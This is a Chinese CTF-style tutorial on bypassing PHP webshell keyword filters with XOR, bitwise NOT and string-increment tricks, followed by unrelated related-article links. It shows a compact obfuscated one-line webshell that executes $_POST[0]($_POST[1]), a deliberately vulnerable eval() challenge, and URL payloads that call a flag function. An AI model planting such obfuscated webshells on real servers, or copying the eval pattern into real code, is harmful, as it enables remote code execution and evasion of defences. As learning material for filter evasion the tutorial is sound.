Webshell的过滤绕过

目录

Webshell的过滤绕过

1.异或操作绕过

2.取反操作绕过

3.PHP语法绕过


的过滤绕过

1.异或操作绕过

先来看一段代码

javascript 复制代码
<?php
    echo "A"^"`";//结果为"!"
?>

为什么会输出"!"

之所以会得到这样的结果,是因为代码中对字符"A"和字符"`"进行了异或操作。

在PHP中,两个变量进行异或时,先会将字符串转换成ASCII值,再将ASCII值转换成二进制再进行异或,异或完,又将结果从二进制转换成了ASCII值,再将ASCII值转换成字符串。异或操作有时也被用来交换两个变量的值。

比如像上面这个例子

A的ASCII值是65,对应的二进制值是0100 0001

`的ASCII值是96,对应的二进制值是0110 0000

在php中,异或操作是两个二进制数相同时,异或为0,不同为1

简单来说就是 有且仅有一个为true,就返回true

异或的二进制的值是00100001,对应的ASCII值是33,对应的字符串的值就是"!"了

再来看下面这段代码,很典型的异或操作绕过

PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

javascript 复制代码
<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

这道题需要我们执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤

这道题就可以用异或操作来绕过

javascript 复制代码
<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>
javascript 复制代码
<?php
function getFlag(){
    echo "{bypass successfully!}";
}
?>

payload如下

?code=_="\`{{{"\^"?\<\>/";{$}_();&=getFlag

"`{{{"^"?<>/"的结果是"GET",所以{}_()=$GET_(),而此时=getFlag

所以直接就执行了getFlag(),拿到flag

2.取反操作绕过

先来看一段代码

javascript 复制代码
<?php
$a = "getFlag";
echo urlencode(~$a);
?>

可以见得这个取反~是可以帮助我们绕过的

那上面那道题也就可以使用这种解法

payload

?code=_=\~%98%9A%8B%B9%93%9E%98;_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

3.PHP语法绕过

依然先来看一段代码

javascript 复制代码
<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 a = 'Z'; a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。

也就是说,'a'++ => 'b','b'++ => 'c'... 所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

那么,如何拿到一个值为字符串'a'的变量呢?

巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array

javascript 复制代码
<?php
echo ''.[];
?>
相关推荐
M78佐菲3 小时前
HTML学习笔记
linux·笔记·学习·tcp/ip·html
平头哥技术团队5 小时前
Day 16 | 用 ul、ol、li 一个标签,把散资料收成有序的技能清单页
开发语言·前端·html·html5
Beyond_System|系统之外10 小时前
一个网页如何同时适配投影仪、1366×768 和 1920×1080?我重新理解了“自适应布局”
开发语言·css·html
Claire_8811 小时前
从零搭建网页:我用AI生成HTML/CSS/JS的实践与工具整理
css·人工智能·html
xy34531 天前
axure9.0 如何打造一个计时器(简单版)
前端·ui·html·axure·原型·产品设计
IMPYLH1 天前
HTML 的 <pre> 元素
前端·javascript·html
dong_junshuai1 天前
每天一个开源项目#93 HyperFrames:4.69万星的 HTML 视频渲染框架
开源·html·github
是立不是利1 天前
CSS 架构——在混乱中建立秩序
前端·html
小刘在重生~1 天前
Web 前端基础|HTML+CSS+JavaScript+Bootstrap
前端·css·html
zhanghaha13141 天前
HTML系列教程:12_HTML 表格 <table> 零基础详解
前端·html